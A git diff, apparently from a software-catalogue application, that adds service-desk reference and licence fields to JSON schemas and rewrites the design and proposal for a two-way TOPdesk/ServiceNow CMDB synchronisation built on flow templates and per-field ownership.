"visible": true, + "hideOnForm": true, + "facetable": false, + "order": 62 + }, + "serviceDeskSyncedAt": { + "type": "string", + "format": "date-time", + "title": "Last synchronised", + "description": "When the service desk exchange last wrote this record.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 63 + } + } + }, + "catalogContract": { + "version": "0.1.4", + "properties": { + "serviceDeskSystem": { + "type": "string", + "enum": [ + "topdesk", + "servicenow", + "file" + ], + "x-enum-labels": { + "topdesk": "TOPdesk", + "servicenow": "ServiceNow", + "file": "File import" + }, + "title": "Service desk", + "description": "The service desk this record is kept in step with.", + "visible": true, + "hideOnForm": true, + "facetable": true, + "order": 60 + }, + "serviceDeskRecordId": { + "type": "string", + "maxLength": 255, + "title": "Service desk record", + "description": "The record id in the service desk. The import matches on it first.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 61 + }, + "serviceDeskUrl": { + "type": "string", + "format": "uri", + "title": "Service desk link", + "description": "Opens the record in the service desk.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 62 + }, + "serviceDeskSyncedAt": { + "type": "string", + "format": "date-time", + "title": "Last synchronised", + "description": "When the service desk exchange last wrote this record.", + "visible": true, + "hideOnForm": true, + "facetable": false, + "order": 63 + }, + "vendorReference": { + "type": "string", + "maxLength": 255, + "title": "Supplier reference", + "description": "The supplier's own number for this contract or licence agreement.", + "visible": true, + "facetable": false, + "order": 17 + }, + "currency": { + "type": "string", + "pattern": "^[A-Z]{3}$", + "default": "EUR", + "title": "Currency", + "description": "The currency of the costs, as a three-letter ISO 4217 code.", + "visible": true, + "facetable": false, + "order": 18, + "example": "EUR" + }, + "supplier": { + "type": "object", + "$ref": "#/components/schemas/organization", + "objectConfiguration": { + "handling": "related-object" + }, + "title": "Supplier", + "description": "The organisation this contract or licence was bought from.", + "visible": true, + "facetable": false, + "order": 19 + } + } + } + } + } +} diff --git a/lib/Settings/register.d/value-assessment.json b/lib/Settings/register.d/value-assessment.json index 29d4d4b91..e7dedce9e 100644 --- a/lib/Settings/register.d/value-assessment.json +++ b/lib/Settings/register.d/value-assessment.json @@ -2,7 +2,7 @@ "components": { "schemas": { "usage": { - "version": "1.5.3", + "version": "1.5.4", "properties": { "businessValue": { "type": "integer", diff --git a/lib/Settings/softwarecatalogus_register.json b/lib/Settings/softwarecatalogus_register.json index 7b94c6305..7a2976760 100644 --- a/lib/Settings/softwarecatalogus_register.json +++ b/lib/Settings/softwarecatalogus_register.json @@ -3,8 +3,8 @@ "info": { "title": "Software Catalog Register", "description": "Register containing AMEF and Voorzieningen schemas for the VNG Software Catalog application. This configuration includes schemas for applications, services, organizations, and compliance tracking.", - "version": "2.5.6", - "changelog": "2.5.6: contactsUid is no longer required on organization (0.5.2) and contactPerson (0.0.28). It is a link to the Nextcloud addressbook that the contacts sync fills in after the record exists (MigrateContactsToNc, OrganizationContactSyncJob), so a required column made OpenRegister create it NOT NULL and every seed organisation failed to save on a fresh install (the organization table stayed empty). OpenRegister drops the NOT NULL on the existing column when the schema syncs. 2.5.5: the maintenanceWindow schema (0.1.0) joins the stackiq register, for maintenance a supplier plans on its products, with the owners of every usage notified (lifecycle-maintenance-and-supplier-roadmap). 2.5.4: usage (1.5.2) gains businessOwner and technicalOwner, contact persons of the consumer organisation; a usage is named after its application and organisation; status becomes facetable for the Applications in use filters (landscape-usage-registration). 2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." + "version": "2.5.7", + "changelog": "2.5.7: a contract no longer requires a catalogue service, because a licence bought for an application in use has none; the service desk exchange imports such licences (sharing-itsm-exchange). The fragment sharing-itsm-exchange.json adds the service desk reference to usage (1.5.4), connection (0.3.4) and catalogContract (0.1.4), and the licence fields vendorReference, currency and supplier to catalogContract. 2.5.6: contactsUid is no longer required on organization (0.5.2) and contactPerson (0.0.28). It is a link to the Nextcloud addressbook that the contacts sync fills in after the record exists (MigrateContactsToNc, OrganizationContactSyncJob), so a required column made OpenRegister create it NOT NULL and every seed organisation failed to save on a fresh install (the organization table stayed empty). OpenRegister drops the NOT NULL on the existing column when the schema syncs. 2.5.5: the maintenanceWindow schema (0.1.0) joins the stackiq register, for maintenance a supplier plans on its products, with the owners of every usage notified (lifecycle-maintenance-and-supplier-roadmap). 2.5.4: usage (1.5.2) gains businessOwner and technicalOwner, contact persons of the consumer organisation; a usage is named after its application and organisation; status becomes facetable for the Applications in use filters (landscape-usage-registration). 2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." }, "x-openregister": { "type": "application", @@ -3270,7 +3270,6 @@ "omschrijving": "", "icon": "FileSign", "required": [ - "service", "usage", "startDate", "contractNumber", @@ -3289,7 +3288,6 @@ "description": "De dienst waarop dit contract betrekking heeft", "type": "object", "facetable": false, - "required": true, "title": "Service", "order": 12, "objectConfiguration": { diff --git a/openspec/changes/sharing-itsm-exchange/design.md b/openspec/changes/sharing-itsm-exchange/design.md index fd7cfb6fd..2da740fa6 100644 --- a/openspec/changes/sharing-itsm-exchange/design.md +++ b/openspec/changes/sharing-itsm-exchange/design.md @@ -1,44 +1,137 @@ # Design: sharing-itsm-exchange -Read at development `9a5ece6a`, OpenRegister development `4fee776`, integriq development `413357e`. +Read at stackiq development `f262512c`, OpenRegister development `9a4e28e9a9`, integriq development `c67abca0c`. Amended 2026-10-01 for the Rotterdam programme (CMDB import, two-way sync, licences and contracts, file import). The first version of this design (one outbound flow, one inbound flow that only linked existing usages) is replaced by the one below. ## Context -Stackiq's outside connections are declared in `lib/Settings/connections.json` and shown by integriq's connection registry. Outside calls and their credentials belong to integriq (ADR-091, ADR-064); stackiq never holds a service desk token. Integriq synchronises through OpenRegister flows made of steps (fetch page, map, contract, save), and its `SourceCallNode` calls a configured source from a flow (integriq `lib/Flow/SourceCallNode.php`). Stackiq authors flows on its own Flows page (`src/manifest.json:1057`) and its store accepts `openregister.flows` configuration sets (`src/manifest.json`, `store.types`). +Outside calls and their credentials belong to integriq (ADR-091, ADR-064); stackiq never holds a service desk token. OpenRegister runs flows; integriq adds the nodes that talk to a source and keep track of what was synchronised. Stackiq ships flow templates and a set-up action, and owns the fields. -## D1. External references on the usage +The building blocks, by who ships them: -`lib/Settings/register.d/itsm-exchange.json` adds to `usage`: `externalReferences`, an array of objects `{ system: string, recordId: string, url: string (uri), syncedAt: date-time }`, visible on the page, `hideOnForm: true` (written by the inbound flow, not typed by hand), and a derived `serviceDeskUrl` for the list column. +| Block | Owner | Key | +|---|---|---| +| Object trigger, schedule trigger, manual trigger | OpenRegister | `openregister.trigger-object`, `openregister.trigger-schedule`, `openregister.trigger-manual` | +| Read objects, write with upsert on a `match` list (patch by default) | OpenRegister | `openregister.object-read`, `openregister.object-write` (`ObjectWriteNode.php:456`) | +| Split a list, compute fields, branch | OpenRegister | `openregister.explode`, `openregister.set-fields`, `openregister.switch` | +| Read pages from a source | integriq | `openconnector.source-paginate` (keyed on a synchronization) | +| Map a record with a stored mapping | integriq | `openconnector.apply-mapping` | +| Remember what was synchronised, decide create, update or skip | integriq | `openconnector.contract`, `openconnector.contract-commit` | +| Call the source | integriq | `openconnector.source-call` | +| Per-field ownership on a mapping, enforced on update | integriq (lane iq, `connectors-service-desk-templates`) | mapping `ownership`, `apply-mapping` `ownership` and `exists` | -The usage is the right object: a service desk's application record describes the application as this organisation runs it, with its own version and owners, not the supplier's product. +## D1. Fields -## D2. The itsm connection +`lib/Settings/register.d/sharing-itsm-exchange.json` (ADR-037): -A fourth entry in `lib/Settings/connections.json`: `key: itsm`, title "Service desk", `reportedOnly: true`, a `switch` on a new app setting `itsm_exchange_enabled`, and `sourceTemplate` naming integriq's service desk templates once integriq publishes them. The flows report their outcome through `ConnectionReportService` (`lib/Service/ConnectionReportService.php`, from `adopt-connection-registry`), so the Integrations page shows the last run. +- On `usage`, `connection` and `catalogContract`: `serviceDeskSystem` (topdesk, servicenow, file), `serviceDeskRecordId`, `serviceDeskUrl` (uri) and `serviceDeskSyncedAt` (date-time). Shown on the page, hidden on the form: the import writes them. +- On `usage`: `installedVersion` (the version the service desk records, a string; `moduleVersion` stays the catalogue reference) and `publicationDate` (stackiq-owned; lane oc publishes a usage only when it is set and in the past). +- On `catalogContract`: `vendorReference` (the supplier's contract or agreement number), `currency` (ISO 4217, default EUR) and `supplier` (the organisation that sold it). `licenceMetric`, `licencesBought` and `licencesInUse` already come from `contracts-licence-seats.json`; start, end, cost and cost period are on the base schema. -## D3. Two flow templates and a set-up action +The reference is flat, not a list of `{system, recordId, url, syncedAt}` as the first version had it. `object-write` matches on a property and `object-read` filters on one; neither reaches into a list of objects. An organisation runs one service desk, so one reference per record is enough. Integriq's contract keeps the full origin record and its hash. -Two flow templates ship in `lib/Settings/flows/` (`itsm-outbound.json`, `itsm-inbound.json`), with three mapping presets (TOPdesk assets, ServiceNow CMDB CIs, GLPI appliances): +The base register changes too, because a fragment can only append to a list (`SettingsService::deepMergeConfig`): `catalogContract.required` drops `service`, and the property loses `required: true`. A licence bought for an application has no catalogue service. Versions: `usage` 1.5.4, `connection` 0.3.4, `catalogContract` 0.1.4, register 2.5.7. `value-assessment.json` also declares the `usage` version and sorts after this fragment, so its version moves to 1.5.4 with it. Otherwise the last fragment wins and the new fields never deploy. -- **Outbound**: trigger `object.updated` and `object.created` on `usage` (OpenRegister `TriggerObjectNode`), a map step that builds the service desk payload (application name, supplier, version, lifecycle status, business owner, technical owner, BBN level), and integriq's source call. A `recordId` in the answer is written back to `externalReferences`. -- **Inbound**: trigger on a nightly schedule, integriq's fetch page over the service desk's application records, a match step on `recordId`, else on name and supplier, and a save step that updates `externalReferences` and `syncedAt`. Unmatched records are listed in the flow run. +## D2. Field ownership -A "Set up service desk exchange" action in the admin settings (a new section `section-itsm`, the anchor the connection entry links to) asks for the integriq source and the mapping preset, fills them into the templates, validates them with OpenRegister (`POST /apps/openregister/api/flow/validate`, openregister `appinfo/routes.php:803`) and creates the flows (`POST /api/flows`, :861), scoped to stackiq so they appear on its Flows page. Controller `lib/Controller/ItsmExchangeController.php`, service `lib/Service/ItsmExchangeService.php`, admin only (`#[AuthorizedAdminSetting]`). +Integriq's mapping presets carry `ownership: {: "source" | "stackiq"}`, one entry per mapped field (lane iq, `connectors-service-desk-templates`). `openconnector.apply-mapping` with `ownership: "inbound"` and `exists: ` keeps, on an update, only the fields the service desk owns; with `"outbound"` it keeps only the fields stackiq owns. On a create it keeps every field. -Rejected: a stackiq PHP client per service desk. It would hold credentials and outside calls in stackiq, which ADR-091 moves to integriq, and it would duplicate integriq's synchronisation. Rejected too: a Store configuration set, because stackiq's Store lists sets from publishers' sources, and this exchange needs the administrator's own source filled in before it can run. +The split for the application level: -## D4. Pages +| Field (stackiq side) | Owner | +|---|---| +| record id, record link, name, supplier, installed version, status, description | service desk | +| business owner, technical owner, BBN level, TIME class, publication date | stackiq | +| every licence and contract field (number, vendor reference, type, start, end, cost, cost period, currency, metric, licences bought) | stackiq | +| relation: both ends, name, type, direction | service desk | -The usage page shows the service desk link from `externalReferences` in its data widget, and Applications in use (`src/manifest.d/usages.json`) gets a Service desk column that opens the record in a new tab. +Licences and contracts are stackiq-owned but the service desk is where many organisations first recorded them. So the import creates a contract it does not yet know, with every field filled, and after that only refreshes the service desk reference. That is the same rule: create keeps every field, update keeps only what the service desk owns. + +## D3. Inbound flows: create and update, never duplicate + +One template per feed: `lib/Settings/flows/itsm-inbound-applications.json`, `itsm-inbound-relations.json`, `itsm-inbound-contracts.json` (licences and contracts share it, each with its own preset and synchronization). Applications run as: + +1. `trigger-schedule`, nightly (`0 2 * * *`), run as the administrator who set it up. +2. `source-paginate` on the feed's synchronization, `explode` the page into `source`. +3. `apply-mapping` with the inbound preset, output `record`: every field, used on create. +4. `apply-mapping` with the same preset, `ownership: inbound`, `exists: record.recordId`, output `owned`. `record.recordId` is always set, so this keeps only the service-desk-owned fields. +5. `contract` with `idPosition: owned.recordId` and `hashPosition: owned`. Unchanged service-desk fields give `skip`. +6. `switch` on the outcome. `skip` ends. +7. Supplier: `object-write` upsert on `organization`, match `name` and `type: Supplier`. +8. Application: `object-write` upsert on `module`, match `name` and `provider`. +9. Usage: on `create`, `object-write` upsert on `usage` matching `serviceDeskRecordId`, then `module` and `consumer`, with every field of `record`. On `update`, `object-write` update matching `@self.uuid` on the contract's target id, with only `owned`. +10. `contract-commit` with the written usage's uuid. + +That is the matching order Ruben asked for: the service desk reference first (the contract, and `serviceDeskRecordId` on the usage), then name and supplier (steps 7 and 8). Spelling variants that miss an exact match are created, and then surface as duplicate candidates through `x-openregister-dedup` on `module`, which `operations-record-reconciliation` links to and merges through OpenRegister's merge engine. Stackiq does not run its own fuzzy match. + +Relations read the desk's relation records, look up both ends by `serviceDeskRecordId` on `usage`, and upsert a `connection` (match `serviceDeskRecordId`) between the two modules. A relation whose end is not imported yet waits for the next run and is listed in the run. + +Licences and contracts look up the usage by `applicationRecordId`, upsert `catalogContract` (match `serviceDeskRecordId`) with every field on create and only the service desk reference on update, and link `usage` and `supplier`. + +**Desk context.** A mapping only sees its input, so each import puts `_desk.baseUrl` (the tenant's scheme and host, from the source's location) on the record before mapping, and the outbound flow puts `_desk.baseUrl` and `_desk.templateId` (TOPdesk needs an asset template to create an asset; the admin gives its id at set-up) on `usage`. That is integriq's convention in `connectors-service-desk-templates`. + +**TOPdesk relations.** TOPdesk has no list of all asset links, only the links of one asset (`GET /assetmgmt/assetLinks?sourceId=`). Its relations flow (`itsm-inbound-relations-per-application.json`) reads the usages that came from TOPdesk, asks for each one's links, and then runs the same mapping, contract and write as ServiceNow's, whose `cmdb_rel_ci` table is read page by page. + +## D4. Outbound flow: only what stackiq owns + +`lib/Settings/flows/itsm-outbound-applications.json`: + +1. `trigger-object` on `usage`, `object.created` and `object.updated` (two trigger nodes, one flow). +2. `object-read` the usage's module, supplier, owners and its first active contract. +3. `set-fields` builds `usage` in the shape the outbound preset reads (D2 field names, `catalogueUrl`). +4. `apply-mapping` with the outbound preset, `ownership: outbound`, `exists: usage.recordId`, output `send`. A usage the desk does not know yet sends every field; a known one sends only stackiq-owned fields. +5. `set-fields` builds `stackiqOwned`: only the stackiq-owned source fields of `usage` (owners, BBN level, TIME class, licence and contract fields). +6. `contract` on the outbound synchronization with `idPosition: usage.uuid` and `hashPosition: stackiqOwned`. Unchanged stackiq-owned fields give `skip`, and nothing is sent. +7. An exit on `usage.recordId`: empty means `source-call` POST to the desk's create endpoint with `bodyFrom: send`, then `object-write` on the usage with the returned record id (TOPdesk `data.id`, ServiceNow `result.sys_id`) and link. Set means `source-call` to the record (TOPdesk updates with POST, ServiceNow with PATCH). +8. `contract-commit`. + +## D5. Why there is no ping-pong + +The two directions write disjoint field sets, and each skips on a hash of only its own set. + +- **Inbound change, then outbound.** The import writes only service-desk-owned fields on an existing usage. That fires `object.updated`, and the outbound flow runs. Its hash covers only stackiq-owned fields, which did not change, so `contract` says `skip` and no call goes out. +- **Outbound change, then inbound.** The export changes only stackiq-owned fields on the desk record. The next import maps that record, keeps only service-desk-owned fields for its hash, and they did not change, so `contract` says `skip` and nothing is written. +- **The record id written back after a create.** It fires `object.updated`. The id is not in the stackiq-owned hash, so the outbound flow skips. + +OpenRegister has no loop guard on object triggers (`lifecycle-auto-transitions/design.md:43` in OpenRegister), so the guard has to come from the data, and it does. The live test asserts that one stackiq change makes exactly one call to the mock, and that the next import writes nothing. + +## D6. File import + +For organisations without a service desk API: an administrator uploads a CSV or XLSX on the CMDB page. `ItsmFileImportService` reads the rows with PhpSpreadsheet (shipped by OpenRegister) and starts the file import flow once, with the rows as the run's payload (`FlowService::run`, `context.payload`). That flow is the inbound applications flow with a manual trigger and `explode` over `rows` in place of `source-paginate`, the preset `itsm-file-application-inbound` (column names are the stackiq field names, every field owned by the file), and its own synchronization so a second upload of the same file updates rather than duplicates. The column `recordId` is the key; a row without one is refused with its row number. + +## D7. The itsm connection and the set-up action + +A fourth entry in `lib/Settings/connections.json`: `key: itsm`, title "Service desk", `reportedOnly: true`, a `switch` on app setting `itsm_exchange_enabled`, `settingsUrl: /settings/admin/stackiq#section-itsm`. No `sourceTemplate`: the administrator picks TOPdesk or ServiceNow, so one fixed template would be wrong for half of them. + +`lib/Service/ItsmExchangeService.php` and `lib/Controller/ItsmExchangeController.php`, admin only (`#[AuthorizedAdminSetting]`): + +- `GET /api/itsm/status`: the desk, the source, the flows with their last run, and the file import. +- `POST /api/itsm/setup` with `desk` (topdesk, servicenow) and `source` (an integriq source uuid or slug): looks the source up in integriq's register, creates the synchronizations for each feed in integriq's register, fills the templates (placeholders `%SOURCE%`, `%SYNC_*%`, `%PRESET_*%`, `%RUN_AS%` and the desk profile's endpoints), validates every flow with OpenRegister's `FlowNodePreflight::inspect()`, and only when all are valid saves them with `FlowService::save()`, publishes them and enables them. If one is invalid, nothing is created, and the answer names the node and the reason. Running it again updates the flows it created (their uuids are kept in app setting `itsm_exchange`). +- `POST /api/itsm/import`: the file import (D6). + +The desk profiles (create and update endpoints, the response path of the new record id, the record link pattern) are data in the service, one per desk. They are not a client: every call goes through `openconnector.source-call`. + +## D8. The CMDB page + +A page at `/cmdb`, menu entry "CMDB" under Applications. It says what stackiq records (applications, their components, connections, licences and contracts) and what it does not (hardware, network discovery, tickets), links to each list, shows the service desk exchange with its last run, and takes a file import. Applications in use gets a Service desk column. English and Dutch, written with the `writing` skill. ## Declarative versus imperative -Declarative: fields, the connection entry, and the flows and mappings as data run by OpenRegister and integriq (ADR-031, ADR-065). The set-up action only fills in and creates the flows; no stackiq code calls outside. +Declarative: fields, the connection entry, the flows and the mapping presets, run by OpenRegister and integriq (ADR-031, ADR-065). Imperative, and only because it needs the administrator's choice: the set-up action that fills in and creates the flows, and the file import that reads the file and starts the flow. ## Seed data -None; the flows are created on purpose by the set-up action. +None. The flows are created on purpose by the set-up action. + +## Related changes + +- `operations-record-reconciliation`: owns duplicate candidates and the merge. This change creates near-duplicates on purpose and relies on it. +- `operations-sync-status-and-progress`: owns stackiq's own organisation sync. Outside synchronisation runs belong to integriq and show on the Flows page and the Integrations page, so this change does not add a run log of its own. +- `operations-technology-components`: owns servers and other infrastructure configuration items. An import of those from a service desk is a follow-up on that change, through the same flow pattern. +- `landscape-application-components`: `module.partOf`. A desk relation of type "part of" maps to it in a follow-up; v1 imports relations as connections. +- `contracts-expiry-and-owner`: the contract status and responsible user. The import writes neither; the daily contract job keeps owning the status. ## Risks -- Integriq's service desk source templates do not exist yet (its connector catalogue lists ServiceNow among planned categories). Until they do, the administrator configures a generic REST source in integriq, and the flows work against it. +- Until lane iq ships the presets and the ownership keys, preflight refuses the flows and the set-up action says so. That is a real dependency, listed in the tasks. +- OpenRegister fires `object.updated` on a patch that changes nothing. D5 makes that harmless; it still costs a flow run per imported record. +- A desk whose record id is not unique across feeds (relations and applications in one table) needs the system prefix. The presets map the record id as the desk returns it; the contract is per synchronization, so ids from different feeds never meet. diff --git a/openspec/changes/sharing-itsm-exchange/proposal.md b/openspec/changes/sharing-itsm-exchange/proposal.md index 439cf3faf..2ea64f296 100644 --- a/openspec/changes/sharing-itsm-exchange/proposal.md +++ b/openspec/changes/sharing-itsm-exchange/proposal.md @@ -4,11 +4,17 @@ depends_on: - landscape-usage-registration --- -# Exchange the application landscape with the organisation's service desk +# Keep the application landscape in step with the service desk, as a CMDB ## Summary -A functional administrator connects stackiq to the organisation's service management tool, such as TOPdesk, ServiceNow or GLPI. The applications the organisation uses go to the service desk as configuration items, with supplier, version, status and owners, and the service desk's record id and link come back onto each application in use. Service desk staff then log calls against the same applications the catalogue holds, and the catalogue shows where each one lives in the service desk. +Stackiq becomes the configuration management database (CMDB) for the application level: the applications an organisation uses, the components they are made of, the connections between them, and the licences and contracts behind them. A functional administrator connects stackiq to the organisation's service desk, TOPdesk or ServiceNow, through integriq. From then on the two stay in step in both directions: + +- **Import**: a nightly run reads the service desk's application records, relations, licences and contracts, and creates or updates the matching stackiq records. A second run updates; it never duplicates. +- **Export**: when someone changes what stackiq owns on an application in use (owners, licences, contract, BBN level, TIME class), that change goes to the service desk record. +- **Ownership decides conflicts, not time.** Each mapping marks every field as owned by the service desk or by stackiq. The service desk wins for the fields it owns (name, supplier, installed version, status). Stackiq-only fields (licences, contracts, publication) always stay with stackiq. An import never overwrites a stackiq-owned field, and an export never sends a service-desk-owned field. +- **No ping-pong.** A write in one direction never comes back as a change in the other. +- **A file import** (CSV or XLSX) feeds the same flow for organisations without a service desk API. ## Why @@ -16,28 +22,41 @@ Row from the stackiq matrix: - `stackiq:share-itsm-integration`, "Exchange application data with the organisation's service management tool." Rated no. Four competitors rate yes: SAP LeanIX (https://www.leanix.net/hubfs/Legal/Metrics-and-Feature-List-EAM-SAP-LeanIX-v3.1.pdf, "ServiceNow integration ... to synchronize infrastructure and software asset information"), BlueDolphin (https://help.bluedolphin.io/en/articles/11967779-add-an-integration-in-bluedolphin, "out-of-the-box integrations with ITSM platforms like TOPdesk, ServiceNow, and JIRA"), GLPI (source read at 11.0.9, application records used directly by tickets, `src/Appliance.php:105`) and TOPdesk (https://docs.topdesk.com/en/linking-assets-to-cards.html, assets linked to calls and changes). -No tender, feature request or roadmap row names it. The matrix category keeps stackiq from being a service desk itself (`stackiq:ops-tickets` and the other service desk rows are decided no); exchanging with one is this row. +Ruben widened the row on 2026-10-01 for the Rotterdam programme: stackiq is the CMDB at application level plus licences and contracts, with a two-way sync to TOPdesk and ServiceNow built on OpenRegister and integriq flows and mappings, and per-field ownership as the conflict rule. The earlier version of this change only attached a service desk link to usages that already existed. + +The matrix category still keeps stackiq from being a service desk (`stackiq:ops-tickets` is decided no) and from being a discovery agent. ## What stackiq has today +Read at development `f262512c`, OpenRegister development `9a4e28e9a9`, integriq development `c67abca0c`. + - No ITSM connector: `lib/Settings/connections.json` declares `email`, `federation` and `eol-feed` only, and `lib/` and `src/` hold no TOPdesk, ServiceNow or ITSM code. -- The connection registry (open change `adopt-connection-registry`) shows stackiq's outside connections on the Integrations page, backed by integriq. -- Stackiq's Flows page (`src/manifest.json:1057`) lists OpenRegister flows scoped to stackiq, and OpenRegister validates and creates flows through its API (`/api/flow/validate`, `/api/flows`). -- Integriq runs synchronisation as flow steps (fetch, map, contract, save) over its sources, with credentials held by integriq (integriq open change `flow-native-synchronization`, ADR-064, ADR-091). +- The application level exists as data: `module` (the application as a supplier offers it, with `provider`), `usage` (an organisation's use of it, `lib/Settings/softwarecatalogus_register.json`), `connection` (two applications linked), and components through `module.partOf` (open change `landscape-application-components`). +- Licences and contracts: `catalogContract` has `contractNumber`, `contractType` (SLA, Licence, Maintenance), `startDate`, `endDate`, `cost`, `costPeriod` and `status`; `lib/Settings/register.d/contracts-licence-seats.json` adds `licenceMetric`, `licencesBought` and `licencesInUse`. A contract requires a `service` (a catalogue service), which a licence bought for an application does not have. +- OpenRegister's flow engine has an object trigger, a schedule trigger, `object-read`, `object-write` with `upsert` on any `match` list, `explode`, `set-fields` and `switch`. It has no outside call and no loop guard on object triggers (`openspec/changes/lifecycle-auto-transitions/design.md:43` in OpenRegister). +- Integriq contributes the outside half as flow nodes: `openconnector.source-paginate`, `openconnector.apply-mapping`, `openconnector.contract`, `openconnector.contract-commit` and `openconnector.source-call` (integriq `lib/Flow/FlowNodeListener.php:108`). A contract records the origin id, the hash of what was read, and the stackiq record it became; `openconnector.contract` answers create, update or skip. +- Integriq has no TOPdesk or ServiceNow source and no per-field ownership yet. Both are built in integriq's open change `connectors-service-desk-templates` (Rotterdam lane iq), which defines the ownership marker this change relies on. ## What this change builds -1. On `usage`: `externalReferences`, a list of `{ system, recordId, url, syncedAt }`, so an application in use knows its service desk record. -2. An `itsm` entry in `lib/Settings/connections.json`, so the Integrations page shows whether the exchange is set up and when it last ran. -3. Two flow templates with mapping presets for TOPdesk, ServiceNow and GLPI, and a set-up action for the administrator that fills in the integriq source and creates the flows: outbound (a usage created or changed goes to the service desk through integriq's source call) and inbound (a nightly read of the service desk's application records that writes their id and link back onto the matching usages). -4. The service desk link on the usage page and a Service desk column on Applications in use. +1. **Fields** in a register fragment: on `usage`, `connection` and `catalogContract` the service desk reference (system, record id, link, last synchronised); on `usage` the installed version and a publication date; on `catalogContract` the licence fields still missing (vendor reference, currency, supplier). A contract no longer requires a catalogue service. +2. **An `itsm` connection** on the Integrations page. +3. **Flow templates** shipped by stackiq: inbound applications, inbound relations, inbound licences and contracts, outbound applications, and a file import. A set-up action fills them with the administrator's integriq source and the desk's mapping presets, validates them with OpenRegister, creates and publishes them. +4. **Matching** on import: by the service desk record id first (integriq's contract), then by name and supplier (`object-write` upsert). Near-duplicates that do not match exactly surface on OpenRegister's duplicate candidates page through the rules `operations-record-reconciliation` declares, and a steward merges them there. +5. **A CMDB page** in stackiq that says plainly what stackiq records and what it does not, shows the service desk exchange and its last run, and takes a file import. English and Dutch. ## Out of scope -- The service desk sources and their credentials: integriq's half. Integriq holds the TOPdesk, ServiceNow or GLPI source and its secret (ADR-064), and its connector catalogue gets the source templates. Stackiq names the source by reference only. -- Logging calls or incidents in stackiq: decided no (`stackiq:ops-tickets`, the matrix category). -- Discovering installed software from the service desk's inventory: the matrix category says stackiq is not a discovery agent. +- The service desk sources, their credentials, the mapping presets with their ownership marker, and the mock servers: integriq's half (`connectors-service-desk-templates`, ADR-064, ADR-091). Stackiq names sources and presets by slug only and never holds a secret. +- GLPI: integriq ships its template; stackiq's set-up offers it once a GLPI preset exists. +- Hardware and infrastructure configuration items: `operations-technology-components`. +- Logging calls or incidents in stackiq: decided no (`stackiq:ops-tickets`). +- Discovering installed software: stackiq is not a 